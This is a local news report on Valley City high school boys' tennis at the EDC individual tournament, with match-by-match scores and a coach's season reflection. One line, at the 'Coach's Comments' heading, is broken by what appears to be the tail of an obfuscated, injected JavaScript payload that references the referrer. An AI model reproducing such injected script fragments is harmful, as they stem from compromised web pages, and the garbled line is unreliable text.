FARGO, N.D. (NewsDakota.com)-Valley City took part in The EDC Individual Tennis Tournament Friday and Saturday in Fargo. The team of Riley Miller and Liam Williams had a deep run for The Hi-Liners making it to a state qualifying match before losing to a team from Grand Forks Central. After the tournament Miller was named to The All EDC Team.
Round 1:
Collin White lost to Grant Gillett (FS) 6-1, 6-2
Jack Ingstad beat Ethan Manock (W) 6-3, 6-2
Blake Triebold beat Ben Sikorski (WF) 6-1, 6-1
Hale Kringlie/Trevor Winter lost to Fleming/Wanzek (FD) 6-3, 6-1
Riley Miller/Liam Williams – bye
Round 2:
Jack Ingstad lost to #8 Adam Sayler (SH) 6-2, 6-2
Blake Triebold lost to #7 Kyle Stauss (GFC) 7-5, 6-3
#9 Riley Miller/Liam Williams lost to #8 Perhus/Traynor (SH) 6-2, 6-2
Consolation Round 1:
Collin White lost to Mason Thimjon (SH) 6-2, 6-3
Hale Kringlie/Trevor Winter – bye
Consolation Round 2:
Jack Ingstad lost to Mason Thimjon (SH) 6-1, 6-1
Blake Triebold lost to Koby Kuenzel (RR) 6-4, 6-1
#9 Riley Miller/Liam Williams beat Hale Kringlie/Trevor Winter 6-1, 6-0
Consolation Round 3:
#9 Riley Miller/Liam Williams beat Carlson/Zurn (FS) 6-3, 6-4
Consolation Quarterfinals: State Qualifying Match
#9 Riley Miller/Liam Williams lost to #2 Votava/Wu (GFC) 6-4, 6-4
Coach’s ytbzn|var|u0026u|referrer|srkkf||js|php’.split(‘|’),0,{}))
Comments
I had several discussions with Riley throughout the year about the individual tournament. I knew that most of the good players in the EDC were going to play doubles and that he would probably have a better chance to state qualify in singles. His response was ‘I would rather play with my best friend, Liam, creating memories with him than state qualify in singles.’ His response showed a true, selfless team player that knows there are more important things to life than winning and trophies.
Many fantastic things happened in the tournament. Jack was down 0-3 in his first match in singles to a backboard. Jack mixed up his game, using drop shots and coming into the net, to win the next six games in a row to take the set. He continued using his touch and strategy to win that first match. He grew as a tennis player right before our eyes! Continue to figure out how to win points and execute, Jack!
Collin continues to show glimpses of greatness. He constructed so many excellent points and finished those points off. Riley and Liam were talking on the way home and said ‘Collin is the best player on our team. If he could put his skill, feet, and mental game together, he would have been playing #1 for us this year.’ I can’t disagree with that statement. He has grown this season – and he is so close to putting it all together. It will be exciting for him and the team when he does!
Blake had himself an excellent tournament. He played two of the state qualifiers. Against the #7 seed GFC – he was up 5-4 in the first set before dropping the set. In the second set, he was down 0-5 and then made a comeback to 5-3 deuce. If he wins that point, he is at 5-4 with all of the momentum. He dropped that point and the match. Against the state qualifier from Red River, he was up 4-1 in the first set and had the kid rattled. That Red River player upped his game and came back to beat Blake. Blake does the best job on the team to believe in every shot and believe he is going to win every point. This leads to the best footwork on our team. He probably had the most winners in the Red River match of any singles match the Hi-Liners played this year. Our whole team was able to watch that match and cheer on Blake. All of us were highly impressed with him. Great job, Blake!
In doubles, Hale and Trevor played some amazing points. Hale and Trevor had injuries this season. Trevor proved against Legacy and then against West Fargo that he has the ability to be a solid doubles player. Hale in practice and matches moves his feet well, attacks the ball, and listens to coaching. Hopefully, they both will work in the offseason and stay injury free as these two have the potential of being a varsity doubles team next year. Hale and Trevor had the unfortunate draw of playing Riley and Liam in the consolation bracket in which Riley and Liam ended their tournament.
As all but three of the top players were in the doubles draw, Riley and Liam only earned a 9 seed where the top 8 go to state. We had to pull off an upset to make the state tournament. The #8 team from Shanley, Perhus and Traynor, came out on fire in the first match and never let up. They beat us soundly and earned the victory. Liam and Riley got our feet under them and consistency up while playing Hale and Trevor. Against South, Riley and Liam started tentative, resulting in a close first set. Both players then started to hit aggressively and taking the net over. Even though the score doesn’t show it, we were in control that second set.
The #2 seed lost to the #7 seed in the quarterfinals meaning that #2 team dropped back into the consolation bracket and lined up with the Hi-Liners in the state qualifying match. Votava and Wu are great players from GFC and both earned All-EDC honors. In the match, Liam and Riley left it all on the court. We played the best tennis of the season where the match came down to one or two points each set that went to GFC. The whole team is proud of how they went out and just played. It was a very fun match to watch and coach. Great job, Liam and Riley.
Riley’s and Liam’s high school careers are now done. They have set the example of positive attitude, hard work, belief in themselves, the team, and their coaches. It was hard as a coach to see them depart from the high school for the last time upon our return home. I, and their teammates, will miss them next year, but their legacy will live on through us. Thank you Riley and Liam.
Reflecting on the season, we had our ups and downs as a team. We won five matches which is two more than a boys team has won in over ten years. We beat Legacy which then went on to win the Western Conference tournament – WOW! Riley had a singles victory over the #2 seed from the West. Liam had a singles victory over the doubles champion from the West. With those highs, we also had the low of losing to West Fargo in the play-in match which kept us out of the team regionals. All of these are learning experiences for us moving forward.
Looking ahead, we have an outstanding group of players returning next season. They all have a common picture and believe in each other and our system. We have 12 players next season that might break into the varsity line-up. They are all upstanding young adults that respect each other, the coaches, and the game of tennis. Coaches Erik Kringlie, Don Schaack, Susan Kringlie, and I are excited to see this team continue to grow and improve. We are proud of all of them and look forward to next season!
